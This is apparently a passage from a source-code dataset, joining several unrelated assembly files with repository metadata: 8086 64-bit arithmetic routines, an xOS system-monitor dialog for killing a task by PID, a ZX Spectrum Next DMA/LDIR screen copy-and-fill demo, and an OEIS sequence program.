1 shr dx, 1 rcr ax, 1 rcr bp, 1 rcr bx, 1 shr dx, 1 rcr ax, 1 rcr bp, 1 rcr bx, 1 u64Div1000000_0: or dx, dx ; dx must be zero (lower 48 bits only) jnz short u64Div1000000_OF ; 0:ax:bp:bx / divisor mov dx, ax ; aligned the dividend in dx:ax:bx mov ax, bp ; dx:ax:bx / bp mov bp, 0f424h ; divisor = f424h cmp dx, bp jae short u64Div1000000_OF ; dx:ax:bx / bp div bp ; dx=r, ax=q xchg ax, bx ; bx=q, dx:ax=remainder div bp ; bx:ax=q mov dx, bx ; dx:ax=q ret u64Div1000000_OF: mov ax, 0ffffh mov dx, 07fffh ret SUBTTL U32Mul1000000 PAGE COMMENT ` Routine Description: This function multiply a 32-bit number by 1000000 (decimal), this function only assembly under 8086/80286 cpu, for 80386 and up it will use in line code to do divison Arguments: dx:ax - multiplicand Return Value: dx:ax:bp:bx - final 64-bit number which is dx:ax * 1000000 decimal CX register destroyed Author: 26-Sep-1991 Thu 17:05:21 created -by- Daniel Chou (danielc) Revision History: ` PUBLIC u32Mul1000000 u32Mul1000000 label near ; ; at return dx:ax:bp:bx is the (dx:ax * 1000000 (decimal)) ; cx is destroyed ; ; dx:ax * FD6NUM_1_DW0 (0f4240h) = (dx:ax * f424h) << 4 ; ; dx:ax ; x bp ; ----------------- ; ax:bp x0 = bp:bx ; dx:bp x1 = dx:ax ;--------------------- ; mov cx, 0f424h xor bp, bp ; assuem x0=0 xor bx, bx or ax, ax jz short u32Mul1000000_1 ; jmp if ax=0 mov bx, dx ; save it mul cx ; dx:ax=result = x0 xchg dx, bp xchg ax, bx ; bp:bx=x0, ax=high 16-bit, dx=0 xchg dx, ax ; dx=high 16-bit, ax=0 to fall through u32Mul1000000_1: xchg dx, ax ; dx=0, ax=next 16-bit or ax, ax jz short u32Mul1000000_2 ; nothing to do mul cx ; dx:ax=x1 add bp, ax ; bp:bx = x0 mov ax, dx ; + dx:ax = x1 mov dx, 0 ;----------------------- adc ax, dx ; dx:ax:bp:bx = products adc dx, dx u32Mul1000000_2: add bx, bx adc bp, bp adc ax, ax adc dx, dx add bx, bx adc bp, bp adc ax, ax adc dx, dx add bx, bx adc bp, bp adc ax, ax adc dx, dx add bx, bx adc bp, bp adc ax, ax adc dx, dx ret SUBTTL U64DivU32_U32 PAGE COMMENT ` Routine Description: This function divide a 64-bit number by 32-bit number. only assembly under 8086/80286 cpu, for 80386 and up it will use in line code to do divison Arguments: dx:ax:bp:bx - dividend si:di - divisor Return Value: bx:cx - 32-bit unsigned quotient, if dx:ax = 7fff:ffff then overflow. dx:ax - 32-bit unsigned remainder si:di = divisor (unchanged) all other registers are destroyed Author: 26-Sep-1991 Thu 17:05:21 created -by- Daniel Chou (danielc) Total re-construct, re-write, it make it calculate the 6 decimal points precision easier for not using slow floating emulation, the speed is faster then the reqular (long/long) routine in the standard library while it provide me all the necessary color calcuation with good precisions. Revision History: ` ;========================================================================== ; Defined several useful data at here ;========================================================================== RShiftTable equ this word dw RShift_0 dw RShift_1 dw RShift_2 dw RShift_3 dw RShift_4 dw RShift_5 dw RShift_6 dw RShift_7 ShiftTable1 equ this word dw 1000h ; 00010000 00000000 dw 0010h ; 00000000 00010000 ShiftTable2 equ this word dw 4000h ; 01000000 00000000 dw 0400h ; 00000100 00000000 dw 0040h ; 00000000 01000000 dw 0004h ; 00000000 00000100 ShiftTable3 equ this word dw 8000h ; 10000000 00000000 dw 2000h ; 00100000 00000000 dw 0800h ; 00001000 00000000 dw 0200h ; 00000010 00000000 dw 0080h ; 00000000 10000000 dw 0020h ; 00000000 00100000 dw 0008h ; 00000000 00001000 dw 0002h ; 00000000 00000010 ;*************************************************************************** ; END OF LOCAL DATA ;*************************************************************************** uDiv6432_L16: ; ; dx:ax:bp:bx / si:di (si=0) = dx:ax/bx:cx ; or di, di jz short uDiv6432_Overflow or dx, dx jnz short uDiv6432_Overflow ; dx=0 otherwise overflow cmp ax, di jae short uDiv6432_Overflow mov dx, ax mov ax, bp ; move up div di ; dx:bx=remainder, ax=quotient xchg bx, ax ; dx:ax=remainder, bx=quotient div di ; dx=remainder, bx:ax=quotient mov cx, dx ; cx=remainder, bx:ax=quotient mov dx, bx ; cx=remainder, dx:ax=quotient xor bx, bx ; bx:cx=remainder, dx:ax=quotient ret uDiv6432_H16: ; ; dx:ax:bp:bx / si:di (di=0) = dx:ax/bx:cx ; cmp dx, si jae short uDiv6432_Overflow ; the dividend too big div si ; dx:bp:bx=remainder, ax=quotient xchg bp, ax ; dx:ax:bx=remainder, bp=quotient div si ; dx:bx=remainder, bp:ax=quotient mov cx, bx ; dx:cx=remainder, bp:ax=quotient mov bx, dx ; bx:cx=remainder, bp:ax=quotient mov dx, bp ; bx:cx=remainder, dx:ax=quotient ret uDiv6432_Overflow: mov dx, 07fffh ; return quotient (dx:ax) = max. number mov ax, 0ffffh xor bx, bx xor cx, cx ret PUBLIC U64DivU32_U32 U64DivU32_U32 label near ; ; dx:ax:bp:bx / si:di = dx:ax/bx:cx ; or si, si jz short uDiv6432_L16 or di, di jz short uDiv6432_H16 cmp dx, si ; have to make sure dx/si != 0 jae short uDiv6432_Overflow ; the dividend too big uDiv6432_M1a: ; ; dx:ax:bp:bx / si:di ; dx:ax=remainder, bx:cx=quotient ; push bx ; save lowest 16-bit of dividend div si ; dx=r, ax=q mov cx, dx ; cx:bp:sp=r, bx=q mov bx, ax mul di ; dx:ax=overrun, cx:bp=remainder ; bx=quotient xchg ax, bp ; cx:bp=overrun, dx:ax=last remainder xchg dx, cx sub ax, bp ; remainder - overrun sbb dx, cx mov bp, 0 ; no shift count jnc short uDiv6432_M1c ; remainder >= overrun ; ; now we have -(dx:ax) of overrun, we need to add the divisor back until ; dx:ax is not negative, for every divisor (si:di) we add the quotient (bx) ; must decrement by one. ; uDiv6432_M1b: dec bx add ax, di adc dx, si jc short uDiv6432_M1c ; carry on... dec bx add ax, di adc dx, si jc short uDiv6432_M1c ; carry on... dec bx add ax, di adc dx, si jc short uDiv6432_M1c ; carry on... dec bx add ax, di adc dx, si jc short uDiv6432_M1c ; carry on... dec bx add ax, di adc dx, si jc short uDiv6432_M1c ; carry on... dec bx add ax, di adc dx, si jc short uDiv6432_M1c ; carry on... dec bx add ax, di adc dx, si jc short uDiv6432_M1c ; carry on... call uDiv6432_QR ; at return BP=shift count ; bx=adjusted quot, dx:ax=remainder uDiv6432_M1c: mov cx, bp ; save shift count in CX pop bp ; bp=lowest 16-bit of dividend push bx ; save high 16-bit of quotient cmp dx, si jae short uDiv6432_NegDiv ; using negative division algorithm push cx ; save shift count uDiv6432_M1d: div si ; dx=r, ax=q mov cx, dx ; cx=r, sp:bx=q mov bx, ax ; cx:bp=r, sp:bx=q mul di ; dx:ax=remainder 2 xchg ax, bp ; cx:bp=overrun, dx:ax=last remainder xchg dx, cx sub ax, bp ; remainder - overrun sbb dx, cx pop bp ; get shift count jnc short uDiv6432_M1e ; remainder >= overrun ; ; now we have -(dx:ax) of overrun, we need to add the divisor back until ; dx:ax is not negative, for every divisor (si:di) we add the quotient (bx) ; must decrement by one. ; dec bx add ax, di adc dx, si jc short uDiv6432_M1e ; do until positive number dec bx add ax, di adc dx, si jc short uDiv6432_M1e ; do until positive number dec bx add ax, di adc dx, si jc short uDiv6432_M1e ; do until positive number dec bx add ax, di adc dx, si jc short uDiv6432_M1e ; do until positive number dec bx add ax, di adc dx, si jc short uDiv6432_M1e ; do until positive number call uDiv6432_QR ; too many call-up the division ; bx=adjusted quot, dx:ax=remainder uDiv6432_M1e: ; sp:bx=quotient, dx:ax=remainder mov cx, ax ; sp:bx=quotient, dx:cx=remainder mov ax, bx ; sp:ax=quotient, dx:cx=remainder mov bx, dx ; sp:ax=quotient, bx:cx=remainder pop dx ; dx:ax=quotient, bx:cx=remainder ret ; ; ;============================================================================ ; interal subfunctions to the uDiv6432 ;============================================================================ ; ; ; uDiv6432_NegDiv --- Negate and divide algorithm ;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ; ; dx:ax:bp / si:di, *sp=high qoutient ; ; (dx == si) and (ax < di) at here ; ; now we use maximum difference (di:0 - ax:bp) as estimate 32-bit ; dividend number then divide it by divisor, the (0xffff - resulting ; quotient) is the original quotient, and remainder is equal to ; (divisor - resulting remainder), the only exception is that if remainder ; is zero then the quotient need to increment by 1. ; uDiv6432_NegDiv: mov dx, di neg bp sbb dx, ax mov ax, bp ; dx:ax=inverted 32-bit dividend call uDiv3232_32Divisor ; dx:ax=quot (0:ax) bx:cx=remainder jz short uDiv6432_NegDiv1 ; remainder = 0, just negate quot inc ax ; compensate for non-zero remainder neg bx ; remainder = divosr - remainder neg cx ; bx=0 at here sbb bx, dx add cx, di adc bx, si ; bx:cx=final remainder uDiv6432_NegDiv1: neg ax ; negate the quotient pop dx ; dx:ax=quot, bx:cx=remainder ret ; ; uDiv6432_QR - 32-bit/32-bit with previos quotient adjustment ;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ; ; Entry: ; bp = shift count ; bx = Previous quotient to be adjusted ; dx:ax = Negative overrun factor ; si:di = Divisor ; ; Exit: ; bx = Adjusted quotient ; dx:ax = positive/0 remainder after overun adjustment ; si:di = divisor (unchanged) ; ; cx, bp destroyed ; uDiv6432_QR: NEG32_FROMR16HL dx, ax ; ; dx:ax / si:di (bx:di) ; remainder = dx:ax ; uDiv6432_QR_0: xchg bx, bp ; bp=quotient, bx=shift count ; dx:ax / cx:di uDiv6432_QR_1: or bx, bx jnz short HasShiftCount ; ; shift dx:ax/cx:di right by bp shift count ; cmp si, 0100h ; right side set the carry adc bl, bl ; 0 <= bx <= 1 add bx, bx ; bx = 0, 2, pre-shift for word table cmp si, cs:ShiftTable1[bx] ; split again adc bl, bh ; 0 <= bx <= 3 add bx, bx ; bx = 0,2,4,6, shift for word table cmp si, cs:ShiftTable2[bx] adc bl, bh ; 0 <= bx <= 7 add bx, bx ; bx = 0,2,4,6,8,10,12,14 cmp si, cs:ShiftTable3[bx] adc bl, bh ; 0 <= bx <= 15 neg bx add bx, 16 HasShiftCount: push bx ; save shift count back push dx ; save dividend high push di ; save divisor low push bp ; save quotient mov bp, ax ; save dividend low mov cx, si ; ; dx:ax / cx:di, sp=shift count, sp+2=dx, sp+4=di, sp+6=quotient cmp bx, 8 jb short Shift1 mov al, ah mov ah, dl mov dl, dh xor dh, dh xchg ax, di mov al, ah mov ah, cl mov cl, ch xor ch, ch xchg ax, di and bx, 7 Shift1: add bx, bx jmp cs:RShiftTable[bx] RShift_7: shr dx, 1 rcr ax, 1 shr cx, 1 rcr di, 1 RShift_6: shr dx, 1 rcr ax, 1 shr cx, 1 rcr di, 1 RShift_5: shr dx, 1 rcr ax, 1 shr cx, 1 rcr di, 1 RShift_4: shr dx, 1 rcr ax, 1 shr cx, 1 rcr di, 1 RShift_3: shr dx, 1 rcr ax, 1 shr cx, 1 rcr di, 1 RShift_2: shr dx, 1 rcr ax, 1 shr cx, 1 rcr di, 1 RShift_1: shr dx, 1 rcr ax, 1 shr cx, 1 rcr di, 1 RShift_0: pop bx ; restore quotient div di ; get estimate quotient = ax sub bx, ax ; decrement the quotient mov cx, ax ; ax=bx=estimate quotient pop di ; si:di=original divisor ; ; estimation of Quotient = eQ ; ; vH:vL ; eQ ; ------------------- ; vL:eQ -- x0 dx:ax ; vH:eQ -- x1 ..:cx ; ----------------------------------------------- ; ..:dx:ax ; ; ; dx += cx; ; ; if (carry) return (eQ - 1); ; if (dx:ax > original dividend) return(eQ - 1) else return(eQ) ; ; now multiply the eQ (bx) with original divisor (si:di) ; now cx:bp=original dividend ; mul si ; dx:ax, using only ax xchg ax, cx ; ax=eQ, cx=H(eQ * Divisor) mul di ; dx:ax=L(eQ * Divisor) add dx, cx pop cx ; restore cx (original High dividend) jc short uDiv6432_QR_s1 cmp dx, cx ja short uDiv6432_QR_s1 jb short uDiv6432_QR_s2 cmp ax, bp jbe short uDiv6432_QR_s2 uDiv6432_QR_s1: inc bx ; add 1 back to the quotient sub ax, di ; substract divisor sbb dx, si uDiv6432_QR_s2: ; substract original dividend sub ax, bp ; at here, we either carry or zero sbb dx, cx jnc short uDiv6432_QR_Done ; ; still has overrun, that is we have remainder, ; dec bx ; substract one from the qoutient add ax, di adc dx, si uDiv6432_QR_Done: pop bp ; return BP=shift count ret SUBTTL U32MulU32_U64 PAGE COMMENT ` Routine Description: This function multiply a 32-bit multipicand with a 32-bit multiplier and return a 64-bit product. only assembly under 8086/80286 cpu, for 80386 and up it will use in line code to do divison Arguments: bp:bx = multiplicand dx:ax = multiplier Return Value: dx:ax:bp:bx - 64-bit products (dx:ax * bp:bx) all other registers are destroyed. Author: 26-Sep-1991 Thu 17:05:21 created -by- Daniel Chou (danielc) Total re-construct, re-write, it make it calculate the 6 decimal points precision easier for not using slow floating emulation, the speed is faster then the reqular (long/long) routine in the standard library while it provide me all the necessary color calcuation with good precisions. Revision History: ` PUBLIC U32MulU32_U64 U32MulU32_U64 label near ; bp:bx bp:bx ; x dx:ax x si:di ; ---------------- ---------------- ; bx*ax x0 bx*di x0 ; bp*ax x1 bp*di x1 ; bx*dx x2 bx*si x2 ; + bp*dx x3 + bp*si x3 ; ===================== ===================== ; dx:ax:bp:bx products dx:ax:bp:bx products uMul3232_Low: mov di, ax ; save multiplier in si:di mov si, dx xor cx, cx xor dx, dx xor ax, ax or di, di ; see if zero (no business here) jz short uMul3232_High uMul3232_x0: or bx, bx ; zero ? jz short uMul3232_x1 mov ax, di mul bx ; dx:ax = x0 uMul3232_x1: or bp, bp jz short uMul3232_x1a ; zeroing the DI xchg di, ax ; cx:di = x0, ax=di mov cx, dx mul bp ; dx:ax = x1 xchg di, ax ; dx:ax = x0 xchg cx, dx ; cx:di = x1 ; -------------------- add dx, di ; di:cx:dx:ax uMul3232_x1a: mov di, 0 adc cx, di adc di, di uMul3232_High: or si, si ; now di:cx:dx:ax = x0+x1 jz short uMul3232_Done uMul3232_x2: or bx, bx jz short uMul3232_x3 ; di:cx:dx:ax push ax xchg bx, dx ; di:cx:dx:ax ===> di:cx:bx:push mov ax, si ; dx:ax = x3 mul dx ; add bx, ax mov ax, 0 adc cx, dx adc di, ax ; di:cx:bx:ax pop ax mov dx, bx ; di:cx:bx:ax -> di:cx:dx:ax uMul3232_x3: or bp, bp jz short uMul3232_Done ; mov bx, dx xchg si, ax ; di:cx:dx:ax --> di:cx:bx:si mul bp ; dx:ax = x3 add cx, ax adc di, dx ; di:cx:bx:si => dx:ax:bp:bx mov dx, di mov ax, cx mov bp, bx mov bx, si ret uMul3232_Done: ; di:cx:dx:ax -> dx:ax:bp:bx mov bp, dx mov bx, ax mov dx, di mov ax, cx ret SUBTTL U32DivU32_U32 PAGE COMMENT ` Routine Description: This function divide a 32-bit number by 32-bit number and return both 32-bit quotient and 32-bit remainder. only assembly under 8086/80286 cpu, for 80386 and up it will use in line code to do divison Arguments: dx:ax - 32-bit unsigned Dividend si:di - 32-bit unsigned Divisor Return Value: dx:ax - 32-bit unsigned quotient, bx:cx - 32-bit unsigned remainder si:di - Divisor, unchanged. zero flag - set if remainder is zero, clear otherwise cx/bp - destroyed. Author: 26-Sep-1991 Thu 17:05:21 created -by- Daniel Chou (danielc) Total re-construct, re-write, it make it calculate the 6 decimal points precision easier for not using slow floating emulation, the speed is faster then the reqular (long/long) routine in the standard library while it provide me all the necessary color calcuation with good precisions. Revision History: ` PUBLIC U32DivU32_U32 U32DivU32_U32 label near ; ; dx:ax / si:di ====> dx:ax=quotient, bx:cx=remainder ; or si, si jnz short uDiv3232_32Divisor or di, di ; if di=0, then error jz short uDiv3232_Err xor bx, bx ; assume quotient H = 0 cmp dx, di ; see if will overflow ? jb short uDiv3232_1 mov bx, ax ; save dividend L in bx mov ax, dx xor dx, dx div di ; 0:ax/di, dx=r, ax=q xchg bx, ax ; dx:ax=remainder, bx=quotient H uDiv3232_1: div di ; bx:ax=quotient, dx=remainder mov cx, dx ; bx:ax=quotient, cx=remainder mov dx, bx ; dx:ax=quotient, cx=remainder xor bx, bx ; dx:ax=quotient, bx:cx(0:cx)=remainder or cx, cx ; return zero flag for remainder ret uDiv3232_Err: sub bx, bx sub cx, cx ; remainder = 0 ret uDiv3232_Zero: mov cx, ax mov bx, dx ; return remainder = dividend or ax, dx ; return (BOOL)(remainder == 0) mov ax, 0 mov dx, 0 ; dx:ax=quotient, bx:cx=remainder ret uDiv3232_One: mov ax, 1 ; return quotient = 1 and no remainder sub dx, dx ; return dx:ax=1 (quotient) bx:cx=0 sub bx, bx ; (remainder) and zero flag set to sub cx, cx ; indicate that remainder is zero ret ; indicate that remainder is zero PUBLIC uDiv3232_32Divisor uDiv3232_32Divisor label near ; full 32-bit divisor ; ; dx:ax / si:di = dx:ax/bx:cx ; mov bx, dx mov cx, ax sub cx, di sbb bx, si jc short uDiv3232_Zero ; if carry then dx:ax < si:di or cx, bx ; if bx:cx=0 then dx:ax=si:di jz short uDiv3232_One ; ; dx:ax / si:di (bx:cx / bp:ss:sp) ; mov bx, dx mov cx, ax mov bp, si push di ; dx:ax / bp:di shl di, 1 ; prepare to fall through uDiv3232_3: rcr di, 1 ; first pass, so that we do not ;=============== ; need to do a seperate check to shr dx, 1 ; see if 'bp' alreay zero rcr ax, 1 shr bp, 1 jnz short uDiv3232_3 rcr di, 1 ; do the last one ; ; ready to divide a 32-bit number by 16-bit number div di ; get estimate quotient = ax mov bp, ax ; ax=bp=estimate quotient pop di ; si:di=original divisor ; ; estimation of Quotient = eQ ; ; vH:vL ; eQ ; ------------------- ; vL:eQ -- x0 dx:ax ; vH:eQ -- x1 ..:cx ; ----------------------------------------------- ; ..:dx:ax ; ; ; dx += cx; ; ; if (carry) return (eQ - 1); ; if (dx:ax > original dividend) return(eQ - 1) else return(eQ) ; ; now multiply the eQ (bp) with original divisor (si:di) ; now bx:cx=original dividend ; mul si ; dx:ax, using only ax push bp ; save eQ xchg ax, bp ; ax=eQ, bp=H(eQ * Divisor) mul di ; dx:ax=L(eQ * Divisor) add dx, bp pop bp ; get the eQ back jc short uDiv3232_EQm1 ; the eQ*Divisor is one divisor higher cmp dx, bx ; if the eQ*Divisor > original dividend jc short uDiv3232_EQ ; then the quotient need decrement by 1 ja short uDiv3232_EQm1 ; if less or equal then is ok cmp ax, cx jbe short uDiv3232_EQ uDiv3232_EQm1: ; eQ-1: bp=eQ, dx:ax=eQ*Divisor, bx:cx=dvnd dec bp ; decrement the eQ by 1 sub ax, di ; and also substract the divisor one more sbb dx, si ; time to compensate for the eQ-1 uDiv3232_EQ: ; eQ: bp=q, dx:ax=eQ * Divisor, bx:cx=dvnd sub cx, ax ; remainder of the number is sbb bx, dx ; original dividend - (eQ * Divisor) mov ax, bp ; 0:ax (dx:ax)=quotient, bx:cx=remainder mov dx, cx or dx, bx ; return zero flag for (remainder == 0) mov dx, 0 ; quotient high always zero at here ret ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ;@ End of only for 8086/80286 only, and all functions are used internally @ ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ENDIF ; i8086/i286 ENDIF ; HT_ASM_80x86 END
28.407823
80
0.433874
e2aa49a836504d213ff7a2ea2f9df429b37c62dc
1,374
asm
Assembly
monitor/kill.asm
ssebs/xos
8c50cb7753690ad67696131a8b9935947e1a8075
[ "MIT" ]
15
2020-05-02T22:04:24.000Z
2021-08-31T16:56:59.000Z
monitor/kill.asm
JamesLinus/xos
3fba0cb15e84b5f7cd08e0a29ed5f86087192d2e
[ "MIT" ]
null
null
null
monitor/kill.asm
JamesLinus/xos
3fba0cb15e84b5f7cd08e0a29ed5f86087192d2e
[ "MIT" ]
1
2019-07-20T10:10:36.000Z
2019-07-20T10:10:36.000Z
; xOS System Monitor use32 ; kill_task: ; Opens the "kill task" window kill_task: ; create a window mov ax, 160 mov bx, 160 mov si, 256 mov di, 160 mov dx, 0 mov ecx, kill_title call xwidget_create_window mov [kill_handle], eax ; lock window mov eax, [kill_handle] call xwidget_lock ; window components mov cx, 8 mov dx, 8 mov ebx, 0xFFFFFF mov eax, [kill_handle] mov esi, kill_caption call xwidget_create_label mov [kill_text.text_ptr], kill_text.text ; text pointer mov [kill_text.limit], 5 ; limit mov edi, kill_text.text mov al, 0 mov ecx, 6 rep stosb mov cx, 8 mov dx, 48 mov si, 256-16 mov di, 20 mov bl, XWIDGET_TEXTBOX_FOCUSED mov ebp, kill_text mov eax, [kill_handle] call xwidget_create_textbox ; redraw mov eax, [kill_handle] call xwidget_unlock mov eax, [kill_handle] call xwidget_redraw .idle: call xwidget_wait_event cmp eax, XWIDGET_CLOSE je .close jmp .idle .close: cmp ebx, [kill_handle] je .close_kill cmp ebx, [window_handle] ; main window je close jmp .idle .close_kill: mov eax, [kill_handle] call xwidget_kill_window jmp main.idle align 4 kill_handle dd 0 kill_button dd 0 kill_title db "Kill a task",0 kill_caption db "Enter the PID of the task you",10 db "wish to kill.",0 align 4 kill_text: .text_ptr dd .text .limit dd 5 ; limit .text: times 6 db 0
14.3125
56
0.708151
ebe53d1019349879760507be060b40f5283b07e7
10,423
asm
Assembly
DMACopy.asm
Threetwosevensixseven/ZXSpectrumNextTests
d0e14d38b8219a8585c32d44d4d07138e3419d48
[ "MIT" ]
10
2018-04-17T18:54:24.000Z
2020-06-10T09:55:23.000Z
DMACopy.asm
Threetwosevensixseven/ZXSpectrumNextTests
d0e14d38b8219a8585c32d44d4d07138e3419d48
[ "MIT" ]
null
null
null
DMACopy.asm
Threetwosevensixseven/ZXSpectrumNextTests
d0e14d38b8219a8585c32d44d4d07138e3419d48
[ "MIT" ]
null
null
null
; DMACopy.asm zeusemulate "Next" zoLogicOperatorsHighPri = false zoSupportStringEscapes = false Zeus_PC = Start Stack equ Start BootParaBase equ $4000 optionsize 12 Mode optionlist 15, -15, "Mode","DMA Copy","DMA Fill","LDIR Copy","LDIR Fill" Cspect optionbool 155, -13, "Cspect", false org $8000 Start proc ::s: di ld sp, Stack ld a, $BE ld i, a im 2 call Cls call ClsAttr //call BootTestSetup ei nextreg $14, $E3 ; Set global transparency to bright magenta PortOut($123B, $00) ; Hide layer 2 and disable write paging nextreg $15, %0 00 001 1 0 ; Disable sprites, over border, set LSU if Mode = 0 ; DMA Copy CopyDMA($C000, $4000, $1B00) ; Copy screen at $C000 to $4000 using DMA Border(Black) ; Black border means we did DMA elseif Mode = 1 ; DMA Fill FillDMA($4000, $1800, $AA) ; Fill ULA screen (DMA) with stripes %10101010 FillDMA($5800, $0B00, $46) ; Fill ULA screen (DMA) with yellow/black Border(Black) ; Black border means we did DMA elseif Mode = 2 ; LDIR Copy CopyLDIR($C000, $4000, $1B00) ; Copy screen at $C000 to $4000 using LDIR Border(Blue) ; Blue border means we did LDIR elseif Mode = 3 ; LDIR Fill FillLDIR($4000, $1800, $AA) ; Fill ULA screen (LDIR) with stripes %10101010 FillLDIR($5800, $0B00, $42) ; Fill ULA screen (LDIR) with red/black Border(Blue) ; Blue border means we did LDIR endif Loop: halt //call BootTest jp Loop pend Cls proc di ld (EXIT+1), sp ; Save the stack ld sp, $5800 ; Set stack to end of screen ld de, $0000 ; All pixels unset ld b, e ; Loop 256 times: 12 words * 256 = 6144 bytes noflow CLS_LOOP: defs 12, $D5 ; 12 lots of push de djnz CLS_LOOP EXIT: ld sp, $0000 ; Restore the stack ei ret pend ClsAttr proc ClsAttrFull(DimBlackWhiteP) ret pend ClsAttrFull macro(Colour) ld a, Colour ld hl, ATTRS_8x8 ld (hl), a ld de, ATTRS_8x8+1 ld bc, ATTRS_8x8_COUNT-1 ldir mend Border macro(Colour) if Colour=0 xor a else ld a, Colour endif out (ULA_PORT), a mend PortOut macro(Port, Value) ld bc, Port ld a, Value out (c), a mend FillLDIR macro(SourceAddr, Size, Value) ld a, Value ld hl, SourceAddr ld (hl), a ld de, SourceAddr+1 ld bc, Size-1 ldir mend CopyLDIR macro(SourceAddr, DestAddr, Size) ld hl, SourceAddr ld de, DestAddr ld bc, Size ldir mend CopyDMA macro(SourceAddr, DestAddr, Size) ld a, %01010100 ld (DMAinit.Source), a call DMAinit ld hl, SourceAddr ld de, #7DCD ; AD = cont, CD = burst 0 1111 1 01 ld bc, DMAPort ; DataGear out (c), d ; R0-Transfer mode, A -> B out (c), l ; R0-Port A, Start address (source) out (c), h ld a, high Size if low Size = 0 out (c), b ; R0-Block length else ld d, low Size out (c), d endif out (c), a out (c), e ; R4-Continuous (burst) mode ld a, high DestAddr if low DestAddr = 0 out (c), b ; R0-Block length else ld d, low DestAddr out (c), d endif out (c), a call DMAexe mend FillDMA macro(DestAddr, Size, Value) ld a, Value ld (DMAinit.SourceValue), a ld a, %01110100 ld (DMAinit.Source), a call DMAinit ld hl, DMAinit.SourceValue ld de, #7DCD ; AD = cont, CD = burst 0 1111 1 01 ld bc, DMAPort ; DataGear out (c), d ; R0-Transfer mode, A -> B out (c), l ; R0-Port A, Start address (source) out (c), h ld a, high Size if low Size = 0 out (c), b ; R0-Block length else ld d, low Size out (c), d endif out (c), a out (c), e ; R4-Continuous (burst) mode ld a, high DestAddr if low DestAddr = 0 out (c), b ; R0-Block length else ld d, low DestAddr out (c), d endif out (c), a call DMAexe mend DMAinit proc ld hl, Data ld bc,(End-Data)*256+DMAPort otir ret Data: db $C3 ; R6-RESET DMA db $C7 ; R6-RESET PORT A Timing db $CB ; R6-SET PORT B Timing same as PORT A Source: db %01010100 ; R1-Port A address incrementing, variable timing (D5=1 no source increment) db $02 ; R1-Cycle length 2T Dest: db %01010000 ; R2-Port B address incrementing, variable timing db $02 ; R2-Cycle length 2T db $82 ; R5-Stop on end of block, RDY active LOW End: SourceValue: db $00 pend DMAexe proc ld a, $CF ; R6-Load out (c), a ld a, $AB out (c), a ld a, $B7 out (c), a ld a, $B3 ; R6-Force ready out (c), a ld a, $87 ; Enable DMA out (c), a ret pend DMAPort equ $6B SCREEN equ $4000 ; Start of screen bitmap ATTRS_8x8 equ $5800 ; Start of 8x8 attributes ATTRS_8x8_END equ $5B00 ; End of 8x8 attributes ATTRS_8x8_COUNT equ ATTRS_8x8_END-ATTRS_8x8 ; 768 ULA_PORT equ $FE ; out (254), a DimBlackWhiteP equ $38 Black equ 0 Blue equ 1 Red equ 2 Magenta equ 3 Green equ 4 Cyan equ 5 Yellow equ 6 White equ 7 //include "ParaBootStub.inc" ; Parasys remote debugger slave stub org $BE00 ; Have an IM 2 ISR at $BE00... loop 257 db $BF lend org $BFBF ei ; ...which doesn't do anything reti ; except avoid the ROM IM 2 ISR being called org $C000 import_bin "Test.scr" ; Test screen used as the source of the copy if zeusver < 74 ; Make sure we have the latest features ('don't care' x bits in binary literals) zeuserror "Upgrade to ZeusTest v4.00 or above, available at http://www.desdes.com/products/oldfiles/zeus.htm." endif if Mode = 0 ; DMA Copy output_nex "DMACopy.nex", $FF40, Start elseif Mode = 1 ; DMA Fill output_nex "DMAFill.nex", $FF40, Start elseif Mode = 2 ; LDIR Copy output_nex "LDIRCopy.nex", $FF40, Start elseif Mode = 3 ; LDIR Fill output_nex "LDIRFill.nex", $FF40, Start endif
41.035433
132
0.351147
99293ee2f961069edd391dc82ee7a20a3587c94d
342
asm
Assembly
programs/oeis/131/A131291.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/131/A131291.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/131/A131291.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A131291: Period 9: repeat [5, 4, 5, 3, 4, 3, 5, 4, 5]. ; 5,4,5,3,4,3,5,4,5,5,4,5,3,4,3,5,4,5,5,4,5,3,4,3,5,4,5,5,4,5,3,4,3,5,4,5,5,4,5,3,4,3,5,4,5,5,4,5,3,4,3,5,4,5,5,4,5,3,4,3,5,4,5,5,4,5,3,4,3,5,4,5,5,4,5,3,4,3,5,4,5,5,4,5,3,4,3,5,4,5,5,4,5,3,4,3,5,4,5,5 add $0,1 bin $0,2 mul $0,5 add $0,1 mod $0,9 dif $0,-2 mod $0,3 dif $0,2 add $0,4
26.307692
201
0.508772
2d947bc84cd66fb06f6f2d08b37dec175681ddda
269
asm
Assembly
libsrc/_DEVELOPMENT/target/zx/driver/terminal/zx_01_output_char_32_tty_z88dk/zx_01_output_char_32_tty_z88dk_21_foreground_attr.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/target/zx/driver/terminal/zx_01_output_char_32_tty_z88dk/zx_01_output_char_32_tty_z88dk_21_foreground_attr.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/target/zx/driver/terminal/zx_01_output_char_32_tty_z88dk/zx_01_output_char_32_tty_z88dk_21_foreground_attr.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
